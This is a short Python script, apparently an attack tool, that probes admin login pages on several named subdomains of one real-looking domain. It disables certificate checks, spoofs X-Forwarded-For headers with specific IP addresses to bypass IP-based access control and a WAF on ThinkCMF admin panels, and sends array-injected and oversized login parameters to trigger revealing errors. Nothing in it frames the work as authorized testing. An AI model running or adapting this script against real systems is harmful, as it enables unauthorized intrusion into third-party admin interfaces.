import urllib.request, ssl, urllib.parse
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
def req(base, path, xff, method=None, data=None):
    h={"X-Forwarded-For":xff,"User-Agent":"Mozilla/5.0"}
    r=urllib.request.Request(base+path, headers=h, method=method)
    if data is not None: r.data=data
    try:
        resp=urllib.request.urlopen(r, timeout=12, context=ctx); return resp.status, resp.read()
    except urllib.error.HTTPError as e: return e.code, e.read()
    except Exception as e: return -1, str(e).encode()

# 1. XFF bypass on ph-web-admin (same IP)
print("=== ph-web-admin XFF bypass ===")
for xff in [None, "54.255.42.219", "139.180.213.40"]:
    h={"User-Agent":"Mozilla/5.0"}
    if xff: h["X-Forwarded-For"]=xff
    r=urllib.request.Request("http://ph-web-admin.msjshy.com/admin/Public/login", headers=h)
    try:
        resp=urllib.request.urlopen(r, timeout=12, context=ctx); st=resp.status; b=resp.read()
    except urllib.error.HTTPError as e: st=e.code; b=e.read()
    print(f"  XFF={xff} -> {st} len={len(b)} title={'ThinkCMF' if b'ThinkCMF' in b else b[:40]!r}")

# 2. XFF bypass on WAF hosts
print("=== huiduadmin / admincdn XFF bypass (WAF) ===")
for host in ["huiduadmin.msjshy.com","admincdn.msjshy.com"]:
    for xff in [None, "54.255.42.219", "139.180.213.40", "112.199.81.2"]:
        h={"User-Agent":"Mozilla/5.0"}
        if xff: h["X-Forwarded-For"]=xff
        r=urllib.request.Request(f"http://{host}/admin/Public/login", headers=h)
        try:
            resp=urllib.request.urlopen(r, timeout=12, context=ctx); st=resp.status; b=resp.read()
        except urllib.error.HTTPError as e: st=e.code; b=e.read()
        print(f"  {host} XFF={xff} -> {st} len={len(b)} title={'ThinkCMF' if b'ThinkCMF' in b else ('WAF403' if b'Page Forbidden' in b else b[:40])!r}")

# 3. array injection on phadmin doLogin to trigger error/version
print("=== array injection on phadmin doLogin ===")
for data in [b"username[]=x&password[]=y&code=z", b"username=a&password=b&code[]=z", b"username=a&password=b&code=z&x="+b"A"*5000]:
    st,b = req("http://phadmin.msjshy.com","/admin/public/doLogin","54.255.42.219", method="POST", data=data)
    print(f"  [{st} len={len(b)}] {data[:40]!r} -> {b[:160]!r}")
